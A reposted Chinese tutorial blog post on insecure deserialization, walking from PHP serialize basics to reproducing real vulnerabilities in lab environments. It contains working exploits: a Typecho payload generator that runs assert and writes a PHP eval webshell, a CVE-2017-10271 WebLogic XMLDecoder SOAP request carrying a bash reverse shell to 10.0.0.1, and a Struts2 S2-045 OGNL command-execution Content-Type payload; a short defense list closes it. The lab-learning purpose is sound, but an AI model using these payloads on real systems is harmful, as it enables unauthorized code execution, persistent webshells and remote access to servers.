反序列化漏洞及漏洞复现

news2024/11/25 11:48:42

文章目录

  • 渗透测试漏洞原理
  • 不安全的反序列化
    • 1. 序列化与反序列化
      • 1.1 引例
      • 1.2 序列化实例
        • 1.2.1 定义一个类
        • 1.2.2 创建对象
        • 1.2.3 反序列化
        • 1.2.4 对象注入
    • 2. 漏洞何在
      • 2.1 漏洞触发
    • 3. 反序列化漏洞攻防
      • 3.1 PHP反序列化实例
        • 3.1.1 漏洞利用脚本
        • 3.1.2 漏洞利用
        • 3.1.3 获取GetShell
      • 3.2 Java反序列化实例
        • 3.2.1 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞
          • 3.2.1.1 漏洞描述
          • 3.2.1.2 影响版本
          • 3.2.1.3 漏洞复现
          • 3.2.1.4 漏洞扫描
          • 3.2.1.5 漏洞验证
        • 3.2.2 S2-045 Remote Code Execution Vulnerablity
          • 3.2.2.1 启动镜像
          • 2.2.2.2 访问页面
          • 3.2.2.3 漏洞检测
          • 3.2.2.4 漏洞利用
      • 3.3 反序列化漏洞防御

渗透测试漏洞原理

不安全的反序列化

在这里插入图片描述

问题:为什么要序列化?

序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

1. 序列化与反序列化

以PHP 语言为例。

对象 – 序列化 --> 字符串、Json – 反序列化 --> 对象

1.1 引例

JSON 数据是数据的一种表达形式,与Python 中的字典类似。

// json.php
<?php
    $stu = array(
        'name'   => 'wuhu', 
        'age'	=> 18,
        'sex'	=> true, 
        'score' => 89.9
    );

    // echo $stu;		//只能输入文本字符串
    // var_dump($stu);	

    $stu_json = json_encode($stu); 
	echo $stu_json;

    echo "<hr />";

    $stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;
    $stu = json_decode($stu_json); 
	var_dump($stu);
?>

说明

  • json_encode:对变量进行 JSON 编码。
  • json_decode:对 JSON 格式的字符串进行解码。

验证

?stu={"name":"wuhu","age":19,"sex":true,"score":89.9}

image-20230905140647421

1.2 序列化实例

1.2.1 定义一个类

定义一个类

<?php
    //   stu.class.php
    class Stu{
        public $name; 
        public $age; 
        public $sex; 
        public $score;
    }
?>

1.2.2 创建对象

创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。

<?php
    // serialize.php
    include   "./stu.class.php";
    $stu1 = new Stu();			//创建一个名为“Stu”的对象实例。
	//给 $stu1 对象的属性赋值
    $stu1 -> name	= "wuhu";	//$stu1.name

    $stu1 -> age	= 24;
    $stu1 -> sex	= true;
    $stu1 -> score   = 99.9;

    // echo $stu1;
    // var_dump($stu1);
	
    $_stu1 = serialize($stu1); 
	echo $_stu1;

?>

说明

  • 使用 serialize() 函数可以将对象序列化为字符串,同时保留对象的属性值和结构。

序列化后的字符串:

O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}

image-20230905142628955

1.2.3 反序列化

将字符串转化为对象。

<?php
    //   unserialize.php

    include "./stu.class.php";

    $stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';

    $stu1_obj = unserialize($stu1_ser); 
	var_dump($stu1_obj);
?>

1.2.4 对象注入

如果反序列化字符串,Web 用户可以控制,则造成对象注入。

<?php
    // $stu1_seria = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';
    $stu1_ser = $_GET['wuhu'];
	$stu1_obj = unserialize($stu1_ser); 
	var_dump($stu1_obj);
?>

页面效果

image-20230905142939050

我们可以操控序列化后的字符串,使其变成我们想让其输出的样子。

PHP 的反序列化漏洞也叫PHP 对象注⼊,是一个⾮常常⻅的漏洞,这种漏洞在某些场景下虽然有些难以利⽤,但是一旦利⽤成功就会造成非常危险的后果。

2. 漏洞何在

2.1 漏洞触发

创建vul.class.php文件在里面创建一个类

<?php
    //   vul.class.php
    class Vul{
        public $str = "wuhu";

        function __destruct(){
        	//echo "This is function __destruct()"; 
            @eval($this -> str);
        }
    }
?>

创建一个test.php文件在里面创建一个Vul对象

<?php
    // test.php

    include './vul.class.php';

    $s = new Vul(); 
	echo serialize($s); 
	echo "<hr />";

    $_s = $_GET['s_ser'];
    $s = unserialize($_s); 
	var_dump($s);

?>

序列化代码

O:3:"Vul":1:{s:3:"str";s:4:"wuhu";}

参数说明:

  • O :表示序列化后的数据是一个对象(object)。

  • 3 :表示该对象的类名 Vul 的字节数(即类名长度为 3)。

  • :"Vul":类名,表示该对象属于名为 Vul 的类。

  • 1:表示该对象有 1 个属性。

  • {}:对象的属性和值的集合,用大括号括起来。

  • s:3:"str": 属性名为 str,表示一个字符串类型。

    • s: 表示后面的值是一个字符串。
    • 3: 表示该字符串的长度为 3 个字符。
    • :"str": 属性的值为 “str”。
  • s:4:"wuhu": 属性名 str 的值为 “wuhu”,也是一个字符串类型。

    • s: 表示后面的值是一个字符串。
    • 4: 表示该字符串的长度为 4 个字符。
    • :"wuhu": 属性值为 “wuhu”。

反序列化执行代码

?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}

image-20230905160020090

解析

__destruct():会被对象自动调用。

以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术⽅法,在特定情况下会自动调⽤。即使魔术方法在类中没有被定义,也是真实存在的。

魔术方法触发条件
__construct()在创建对象时⾃动调⽤,构造函数
__destruct()在销毁对象时⾃动调⽤,析构函数
__call();
__callStatic();
__get(); 
__set(); 
__isset(); 
__unset(); 
__sleep(); 
__wakeup();			# 创建对象之前触发。
__toString(); 
__invoke(); 
__set_state(); 
__clone(); 
__debuginfo();

漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。

补充

提交O:3:“Vul”:1:{s:3:“str”;s:4:“wuhu”;},页面显示效果如下:

image-20230905164401508

提交O:3:“Stu”:4:{s:4:“name”;s:4:“wuhu”;s:3:“age”;i:24;s:3:“sex”;b:1;s:5:“score”;d:99.9;},页面显示效果如下:

image-20230905164345215

发现这里Object中的类名变成了__PHP_Incomplete_Class。

原先的Vul中只有一个变量,选择添加一个变量O:3:“Vul”:2:{s:3:“str”;s:4:“wuhu”;s:3:“age”;i:24;},查看页面显示效果:

image-20230905164552723

要求:反序列后的字符串要符合要求,变量没有要求,但是类名字有要求。也就是说提交的反序列化字符串,要想让程序可以理解,需要保障类的名字必须与程序中定义的一致!

3. 反序列化漏洞攻防

3.1 PHP反序列化实例

  • Typecho 反序列化漏洞。

3.1.1 漏洞利用脚本

<?php
    class Typecho_Feed{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct(){
            $this->_type = $this::RSS2;
            $this->_items[0] = array(
                'title' => '1',
                'link' => '1',
                'date' => 1508895132,
                'category' => array(new Typecho_Request()),
                'author' => new Typecho_Request(),
            );
        }
    }

    class Typecho_Request{
        private $_params = array();
        private $_filter = array();

        public function __construct(){
            $this->_params['screenName'] = 'phpinfo()';
            $this->_filter[0] = 'assert';
        }
    }

    $exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'typecho_'
    );

    echo base64_encode(serialize($exp));	//将序列化字符串做base64编码操作
?>

注意:攻击的对象是Typecho,所以构造的类,必须是Typecho应用中存在的类的名字Typecho_Feed、Typecho_Request。

浏览器中访问该文件

image-20230905165942302

会生成的base64编码后序列化后的字符串

image-20230905170009264

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

3.1.2 漏洞利用

这里通过POST方式提交攻击代码。

image-20230905171025692

攻击代码的效果是由assert执行phpinfo(),页面效果

image-20230905171039876

3.1.3 获取GetShell

构造payload:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        $this->_params['screenName'] = 'file_put_contents(\'wuhu.php\',\'<?php @eval($_POST[777]);?>\')';
        $this->_filter[0] = 'assert';
    }
}

class Typecho_Feed
{
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = 'ATOM 1.0';
        $item['author'] = new Typecho_Request();
        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>

将上述代码复制到文件并保存然后浏览器中访问该文件

image-20230905200427158

修改cookie前:

image-20230905201908778

修改Cookie后:

image-20230905202010895

蚁剑进行连接

image-20230905202042308

3.2 Java反序列化实例

3.2.1 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞。

说明内容
漏洞编号CVE-2017-10271
漏洞名称Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
漏洞评级高危
影响范围10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞描述Veblogic在wls-wsat.war中的VLS Security组件对外提供WebService服务,
其中使用了XMLDecoder来解析用户传入的XML数据,
在解析的过程中出现反序列化漏洞,导致可执行任意命令。
修复方案打补丁,上设备,升级组件
3.2.1.1 漏洞描述

Oracle Fusion中间件的Dracle WebLogic Server组件中的漏洞(子组件:WLS Security)。受影响的支持版本为10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。易被攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可能导致接管Oracle WebLogic Server。

CVSS3.0基础分数7.5(可用性影响)。

CVSS矢量:(CVSS:3.O/AV:N/AC:L/PR:N/U:N/S:U/C:N/:N/A:H)。

3.2.1.2 影响版本
  • Weblogic 10.3.6.0.0

  • Weblogic 12.1.3.0.0

  • Weblogic 12.2.1.1.0

  • Weblogic 12.2.1.2.0

3.2.1.3 漏洞复现

启动环境

image-20230905173553168

访问页面

image-20230905173646282

在URL中输入http://127.0.0.1:7001/console,访问成功

image-20230905173740675

3.2.1.4 漏洞扫描

使用扫描工具nacs

sudo ./nacs -h 192.168.188.185 -pa 7001

image-20230905174305779

扫描工具:0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。

使用方法

python3 ws.py -t 192.168.188.185

image-20230905175902997

3.2.1.5 漏洞验证

访问页面

/wls-wsat/CoordinatorPortType

image-20230905183216758

使用bp抓取数据包

image-20230905183330945

发送到重发器上,将其修改为POST请求

image-20230905183708178

然后发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

例如错误如下:

image-20230905184120794

由于提交的是XML所以修改Content-Type值为text/xml

image-20230905184600301

利用DNSLOG平台,进行无回显RCE漏洞验证。

DNSLog Platform

image-20230905184707859

pz9kgu.dnslog.cn

修改数据包,进行URL编码,然后进行发送

image-20230905185022477

页面显示结果

image-20230905184922992

然后使用反弹shell

image-20230905185702225

kali先开启监听

image-20230905185635569

反弹成功

image-20230905185747009

3.2.2 S2-045 Remote Code Execution Vulnerablity

  • S2-045 Remote Code Execution Vulnerablity。
3.2.2.1 启动镜像

image-20230905190944661

2.2.2.2 访问页面

image-20230905190934670

3.2.2.3 漏洞检测

使用nacs扫描漏洞

sudo ./nacs -h 192.168.188.185 -pa 9080

image-20230905191228445

扫描到了该漏洞

3.2.2.4 漏洞利用
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

使用bp抓包

image-20230905191442063

右键发送到重发器,然后修改为POST请求

image-20230905191528882

然后将漏洞利用代码复制到Content-Type中,发包即可

image-20230905191752452

233*233=54289漏洞存在。

输入我们的漏洞利用代码:

"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

image-20230905192913290

还有如下案例:

  • JBoss 5.x/6.x 反序列化漏洞。

  • Fastjson 1.2.24 反序列化导致任意命令执行漏洞。

  • Fastjson 1.2.47 远程命令执行漏洞。

  • Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)。

3.3 反序列化漏洞防御

漏洞防御:

  • 升级组件到最新版本

  • 黑白名单过滤敏感字符

  • 禁用反序列化功能

  • 部署安全设备

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/977484.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

folium中RegularPolygonMarker的rotation怎么理解

背景 我们在使用 folium 库创建交互式地图的时候&#xff0c;如果我们使用 RegularPolygonMarker 对象&#xff0c;则会使用到 rotation这个参数&#xff0c;这个rotation的基准是什么&#xff1f;方向是顺时针还是逆时针&#xff1f;今天来聊聊。 创建几个 RegularPolygonMa…

策略路由典型配置:通过流策略实现策略路由(即重定向到不同的下一跳)

策略路由典型配置&#xff1a;通过流策略实现策略路由&#xff08;即重定向到不同的下一跳&#xff09; 1、拓扑图及组网要求 公司用户通过SW2核心交换机连接到外部网络&#xff0c;其中一条是高速链路&#xff0c;网关是192.168.100.2/24&#xff0c;另一条是低俗网络&#…

Python+Appium+Pytest+Allure实战APP自动化测试!

pytest只是单独的一个单元测试框架&#xff0c;要完成app测试自动化需要把pytest和appium进行整合&#xff0c;同时利用allure完成测试报告的产出。 编写常规的线性脚本具体的步骤如下&#xff1a; 1、设计待测试APP的自动化测试用例 2、新建app测试项目 3、配置conftest.py文…

VMware虚拟机安装CentOS6.9设置静态ip

1.设置虚拟网络编辑器 点击编辑–>虚拟网络编辑器 2.更改系统网络适配器选项 这里的子网掩码与网关&#xff0c;与第一步的一致 3.修改虚拟机主机名 vi /etc/sysconfig/networkNETWORKINGyue HOSTNAMEchen4.配置IP映射 vi /etc/hosts192.168.121.138 chen5.配置网卡…

Vue2+Vue3笔记(尚硅谷张天禹老师)day03

声明:只是记录&#xff0c;初心是为了让页面更好看,会有错误,我并不是一个会记录的人&#xff0c;所以有点杂乱无章的感觉&#xff0c;我先花点时间把视频迅速过掉&#xff0c;再来整理这些杂乱无章的内容 脚手架 Vue-cli CLI是Command Line Interface的缩写&#xff0c;直译的…

机器学习练习

原文章添加链接描述

OPENCV+QT环境配置

【qtopencv开发入门&#xff1a;4步搞定opencv环境配置2】https://www.bilibili.com/video/BV1f34y1v7t8?vd_source0aeb782d0b9c2e6b0e0cdea3e2121eba 第一步&#xff1a; 安装QT Qt 5.15 第二步&#xff1a; 安装OPENCV VS2022 Opencv4.5.5 C 配置_愿飞翔的鱼儿的博客…

集成facebook第三方登录facebook_client_token不知道在哪

在应用面板的应用设置中 选择高级 下拉一些&#xff0c;客户端口令这个就是了 再加到string 中

RecyclerView源码解析(三):RecyclerView的缓存机制

RecyclerView源码解析&#xff08;三&#xff09;&#xff1a;RecyclerView的缓存机制 导言 上两篇文章我们结合LinearLayoutManager对RecyclerView整体是如何绘制的有了大致的了解&#xff0c;不过RecyclerView的重头戏并不是简单显示列表&#xff0c;而是它通过缓存机制实现…

nginx搭建DNS服务器

目录 搭建DNS服务器搭建一个DNS缓存域名服务器主从DNS服务器的工作原理查域里的域名服务器记录记录类型做一个自己的域名数据库&#xff0c;给sc.com提供解析 反向解析的配置文件和数据文件 搭建DNS服务器 主配置文件&#xff1a;/etc/named.conf 次要配置文件&#xff1a;/et…

openGauss学习笔记-61 openGauss 数据库管理-常见主备部署方案

文章目录 openGauss学习笔记-61 openGauss 数据库管理-常见主备部署方案61.1 单中心61.2 同城双中心61.3 两地三中心61.4 两地三中心流式容灾方案 openGauss学习笔记-61 openGauss 数据库管理-常见主备部署方案 61.1 单中心 图 1 单中心部署图 组网特点&#xff1a; 单AZ部署…

【大数据】Flink 详解(七):源码篇 Ⅱ

本系列包含&#xff1a; 【大数据】Flink 详解&#xff08;一&#xff09;&#xff1a;基础篇【大数据】Flink 详解&#xff08;二&#xff09;&#xff1a;核心篇 Ⅰ【大数据】Flink 详解&#xff08;三&#xff09;&#xff1a;核心篇 Ⅱ【大数据】Flink 详解&#xff08;四…

CocosCreator3.8研究笔记(八)CocosCreator 节点和组件的使用

我们知道&#xff0c;在CocosCreator 节点和组件的修改有两种方法&#xff1a; 属性检查器中的设置脚本中的动态修改 脚本中动态修改&#xff0c;能实现各种各样的游戏逻辑&#xff0c;例如响应玩家输入&#xff0c;删除、修改、销毁节点或组件。 不过想要实现这些游戏逻辑&a…

51单片机简易时钟闹钟八位数码管显示仿真( proteus仿真+程序+原理图+报告+讲解视频)

51单片机简易时钟闹钟八位数码管显示仿真( proteus仿真程序原理图报告讲解视频&#xff09; 1.主要功能&#xff1a;2.仿真3. 程序代码4. 原理图元器件清单 5. 设计报告6. 设计资料内容清单&&下载链接资料下载链接&#xff08;可点击&#xff09;&#xff1a; 51单片机…

数据结构插入排序

好久不见&#xff0c;这几天有点事情&#xff0c;都快一个礼拜没有学习&#xff0c;对键盘都要陌生起来了&#xff0c;今天也是刚刚学了一点排序&#xff0c;在这里也给大家更新一个插入排序&#xff0c;后面也会渐渐的把八大排序更新完的&#xff0c;还有就是二叉树&#xff0…

【大数据Hive】hive 加载数据常用方案使用详解

目录 一、前言 二、load 命令使用 2.1 load 概述 2.1.1 load 语法规则 2.1.2 load语法规则重要参数说明 2.2 load 数据加载操作演示 2.2.1 前置准备 2.2.2 加载本地数据 2.2.3 HDFS加载数据 2.2.4 从HDFS加载数据到分区表中并指定分区 2.3 hive3.0 load 命令新特性 …

学习Bootstrap 5的第五天

目录 图像 图像形状 实例 对齐图像 实例 居中图像 实例 响应式图像 实例 Jumbotron 实例 图像 图像形状 .rounded 类可以用于为图像或任何具有边框的元素添加圆角。这个类适用于Bootstrap的所有版本&#xff0c;并且在最新版本中得到了进一步的增强。 实例 <…

【爬虫】7.4. 字体反爬案例分析与爬取实战

字体反爬案例分析与爬取实战 文章目录 字体反爬案例分析与爬取实战1. 案例介绍2. 案例分析3. 爬取 本节来分析一个反爬案例&#xff0c;该案例将真实的数据隐藏到字体文件里&#xff0c;即使我们获取了页面源代码&#xff0c;也无法直接提取数据的真实值。 1. 案例介绍 案例网…

WPF调用Grpc

一、服务端 1、创建proto文件&#xff1a; Protos文件夹 —>右键添加新建项 —> ASP.Net Core下常规中选择"协议缓冲区文件" 2、proto文件协议&#xff1a; 需要使用空参数和空返回值时&#xff0c;需要使用这个协议文件 import “google/protobuf/empty.pr…

windows系统一键开启防火墙并设置开放规则

脚本 echo off REM 设置开放端口&#xff0c;上下行 set PORT1433-1488,33,44REM 关闭防火墙 netsh advfirewall set allprofiles state off REM 打开防火墙 netsh advfirewall set allprofiles state onrem 设置指定端口变量和出入站规则名称 set INPUT_RULE_NAMEZLG-IN set …